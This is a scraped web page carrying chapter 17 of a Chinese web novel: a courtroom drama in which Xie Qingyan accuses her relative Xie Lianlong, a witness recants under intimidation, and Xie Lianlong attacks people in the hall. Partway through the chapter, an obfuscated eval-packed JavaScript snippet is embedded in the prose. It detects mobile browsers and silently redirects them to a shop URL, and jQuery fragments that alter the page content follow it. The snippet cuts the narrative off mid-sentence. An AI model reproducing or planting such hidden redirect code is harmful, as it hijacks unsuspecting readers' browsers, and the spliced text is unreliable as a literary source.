默认冷灰
24号文字
方正启体

17. 17

作者:炎棠本书字数:K更新时间:
    袁云凯身子有些麻,这不是听到了好兄弟的“恶行”而发麻,而是终于看到了心上人的那种麻。


    浑身痒痒的,四肢百骸里头跟钻了个小虫子样的,一路钻到灵魂都在发麻。


    他立刻起身想把人扶起来。


    但…


    站起来的身子,又硬生生坐回去了,袁云凯眼睛笔直的看着前面,异常严肃正经,“关门。”


    案子有明审也有暗审,关乎于世家权贵,不让平头百姓围观是件很寻常的事情。此时天色还早,为了保护女子名声,堂上本就没有多余的人,但不得不说门关上的那刻确实添了一丝隐蔽性。


    当然,也有一点没由来的心慌。


    可慌什么?三司会审,公开公正,这若是还不能将谢帘栊定罪,还有谁能?谢清颜为自己陡然间升出的不安感到可笑。


    她嘲讽似的勾起唇,目光坚定的俯下身,“求大人为清颜,为清颜的奴婢做主!”


    咔嚓的一声。


    空气中突然响起一阵瓷器碎裂的声音,随后王容止跪地,他掷地有声:“容止亦要状告谢帘栊,谢帘栊跋扈异常,曾在官道上驭马拖行良民!这是证词,亦有人证!”


    若说谢清颜的状告还是普通的案子,有掩盖的余地,那么王容止这一告便将事情推到了一个不可化解的程度,官道上疾驰,又拖行良民,显然是嚣张跋扈到了极点,不把皇帝皇权放在眼里。


    齐怀远面色变了,立即扬声,“带人证!”


    事情只要做下,总有蛛丝马迹可查,为了这一天,王容止准备已久,堂上很快便跪下了一名衣服上打着补丁的中年男子。


    男子名叫马六,是个商贩,平日做些小吃食拉出去叫卖养活全家。事发当日,他如往常一样出摊在官道口,看见了这幕吓的推车都不敢推,直接奔回了家。


    王容止顺着丢下的推车找到马六,几番劝说下才劝动了马六作为人证,这也是唯一的证人。


    马六跪在地上,从未见过大官的他何曾见过这样的场面,心底的畏惧让他整个人抖的跟小鸡仔似的,磕磕巴巴好半天才说完了当时发生的一切。


    齐怀远听罢,捏着胡子沉吟,“事发突然,车马疾行本就难以看清面容,你又怎么能确定那是谢家?”


    马六低着头:“小人,小人平时就在官道叫卖,做了那么多年生意了,自然认得些权贵世家的车徽。”


    也是凑巧,很多平民百姓地位太低,这辈子连徽章都认不出。


    虽然马六的事情,谢清颜之前并不曾听过,如今骤然知晓,心底升的并不是欺骗感,而是很踏实——这世上没有无缘无故的帮忙,有着共同的仇恨和目标反倒是让他们的结盟更加坚固。


    这比那些虚无缥缈的情意可靠多了。


    但也不得说,能找到马六实在太过幸运。


    她当下和王容止对视一眼。


    稳了——这一讯号默契的传递在二人心中,同时响起。


    但齐怀远却突然沉脸,他一拍惊堂木,话锋急转,“事关重大,上达天听!若到了御前,面见了陛下,你能为自己说的话负责吗?!”


    惊堂木一般用于震慑罪犯,又或者面对那些冥顽不灵的地痞流氓,对于一个升斗小民,实在不用如此严辞令色。“御前”、“陛下”在视听触的共同作用下,马六当场就吓瘫成了一摊软肉,他哆哆嗦嗦的扣着手,爆哭出声,“小的,小的,不知道哇……”


    不知道!


    别说王容止,当下谢清颜就惊了——马六这是要翻供!


    这个念头一闪而过,快的不可思议,耳旁的哭声就像尖锐的针扎在耳膜,顿时让人头脑一片混乱。即便谢清颜反应够快,但齐怀远的速度却更快,像是早就排练好的一样,态度也令人难以揣摩,“不知道?是不确定?还是不是?”


    “你可要想好了啊,马六。”


    齐怀远能做到刑部尚书这个位置,是有真材实料的。事情从一盘死局立刻变成一盘散沙,谢清颜根本不用去看马六的脸,就能推断接下来的场面——马六翻供,王容止的事情不成立。


    而和王容止一起状告的自己,也会变成一场早就商量好的预谋,目的是玷污谢家的名声,好斗跨谢家。至于为什么,根本不重要,重要的是有一个明目。


    ……所有的努力都注定是竹篮打水一场空。


    这一刻莫大的荒诞感笼罩住谢清颜,连带舌根都泛出苦涩。她慢慢直起身,雅青色的羽睫轻轻落下,扇出来的风都是微弱且心酸的。


    “都是一丘之貉……”谢清颜喃喃。


    而身边王容止则根本反应不过来,他有些愣神的看着齐怀远,“叔父……”


    随后看向马六,声音恨恨的拔高,“你为何要说自己不知道?你以为你现在翻供就能逃离刑罚了?民告官,越阶而告本来就要挨十大板子。如今还是‘污蔑’,更少不得吃五十大板以上,就算侥幸逃脱一死,可你已经暴露在人前,你信不信只要出了这扇门,你就会消失在这世上……”


    “容止哥哥。”谢清颜立断喝住了他未出口的话,她的声音有些沙哑,细听的话还有些哽咽,“没用的,他只是个小民,没有恨如何能撑久?都不用刑罚,只需恐吓就能推翻先前的话。证词几番变动,实在令人难以信服。”


    “容止哥哥也别再说下去了,你的话在旁人听来都属于威胁,在这样下去说不定连你都要受罚。”


    空气本就静谧无声,少女一声声“容止哥哥”说出来,落在此间里有着说不出的缠绵,更别提其中微妙的关心之意。


    谢清颜与王容止对视良久,随后无声的笑了起来,少倾,她重新摆正了身子,语气凝涩,“民女还要告!”


    谢清颜一字一顿,“民女要告,谢帘栊罔顾人伦纲常,无视礼法,他对民女……”


    啪,一声巨大的拍桌声蓦地响起!


    “谢、清、颜!”对着门中间的圈椅哗啦一下转过来,谢帘栊目光厉的可怕,“你大胆!”


    倏的一下,谢清颜瞳孔骤缩,“你,你怎么会在这里?”


    谢帘栊没有回答她,反而是像第一次认识她那般,上上下下的打量她。


    旁人只看得到他阴晴不定的面色,可谢帘栊心里却翻江倒海。


    她可知一旦说出他们之间的事情,他身为男子只会名声受损,待过了几年只要他稍微摆出“浪子回头”,亦或者“从良上岸”的态度,他还是京城里最炙手可热的那批世家子弟。


    但她呢,谢家为了保全自身一定会说是她蓄意勾引,男女之事向来无法界定,谢清颜很大可能当场就被处以极刑,从而彻底消失在天地间。


    谢帘栊惊愕她的天真,想事情的局限,但更大程度的是气、是怒。


    这一刻,所有人都避而不谈的真相在此刻血淋淋的摊开,那就是——谢清颜她当真不喜欢他。


    一丝一毫都没有。


    谢帘栊低下头,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450042|201157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    深邃的眉宇间再不是意气风发,而是罕见的颓丧,惯常高扬的束发塌下,连带着眼神都微微凝涩,像是陷入某种回忆里。


    “我儿想要这个大玉川?这有何难?取来就是。”——谢父的声音响起。


    谢夫人又告诉他:“帘栊是天子骄子,若是看上什么,那便是那东西的造化。”


    朋友的捧、家人的宠、仕途的顺遂,这一切都占据了谢帘栊全部人生,他鲜少有不能得到的东西。到哪儿都能算的上能够“呼风唤雨”的人物。


    可有些东西竟不是想要就能拥有的?


    为什么?


    他该怎么办?


    无形中仿佛伸出一只强而有力的大手,倏的一下直接揣进了谢帘栊心脏里头,狠狠攥着,撕扯着,将全身骨血都给掏空了。他的手因为捏碎了杯盏而血流不止,可心里更像是被这碎瓷割开了一道豁口,扑哧的流着血。


    所有的痛游走在身体里,最后成了一个鬼使神差的定论。


    去争!去抢!


    得不到就争,争不到就抢!


    只要能把人留在身边,就算苦果亦是果。


    扪心自问,他根本无法看见谢清颜在别人身旁展颜欢笑,光是想想呼吸都开始焦灼起来,那种心里火烧火燎的感觉没人能懂——但他也不需要人懂,只要他看谢清颜就能缓解这种痛,只要谢清颜在身边,未来就有无数的可能。


    即便没有,他也可以骗自己一辈子。


    没人能够知道谢帘栊在想什么,也没人能通过一个黑黢黢的头顶就能看到人心脏里头去,安静的空间下只能听见一声声粗重的呼吸,毫无节奏规律可言,让人坐立难安。


    可这其中并不包括谢清颜,在稀薄且令人焦躁的气氛下,事情的关节被一点点打通,谢帘栊怒喝下的未尽之意,她瞬间就明白了。


    一股莫大的荒诞感陡然而起,戏剧性的一幕让谢清颜连唇角都提不起劲勾起,无法以多余的表情来敷衍谢帘栊。


    她就这么跪在地上,麻木的朝王容止投去一眼,可就是这王容止都看不出意味的眼神,却令谢帘栊怒火狂烧,一股不知名的邪火涌上,他直接抓住手边惊堂木,朝王容止的脸砸了过去。


    呼!破空声划过!


    接着鲜血从王容止额头上冒了出来。


    这到底是公堂之上,在座所有人都被震惊了,反应过来后袁云凯率先动了,他离谢帘栊最快,阻拦的速度也最快,扑过去当腰一抱。


    接着不可思议的一幕发生了,一个虽然称不上强壮但绝对不能用瘦弱形容的男子,被挂在腰间,在谢帘栊的怒气下活活被拖了几米远,重力加疼痛两者交叠,袁云凯被迫放了手。


    “谢清颜!”谢帘栊手臂青筋暴起,伸手攥住谢清颜后颈,往后一抬,声音咬牙切齿,“你可知道说出那些话意味着什么?”


    谢清颜被迫仰起头,这一刻她再无往日半分温柔乖觉,而是目光泣血,“说出来又如何?不过就是死!可哪怕只有一丝可能,只要你能下地狱,这一切就值了!”


    她知道。


    她知道事情败露,便会受以极刑,也知道这孤注一掷的下场很可能对自己造成不了多大伤害,可她就是说了。


    她只是在赌,赌那么一点点可能,只要能将他处罪,她愿意付出任何代价!


    这个答案就是像把尖刀,无论正反面都锋利无比,一下下捅进谢帘栊心脏里头。


    谢帘栊猛地松了手。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)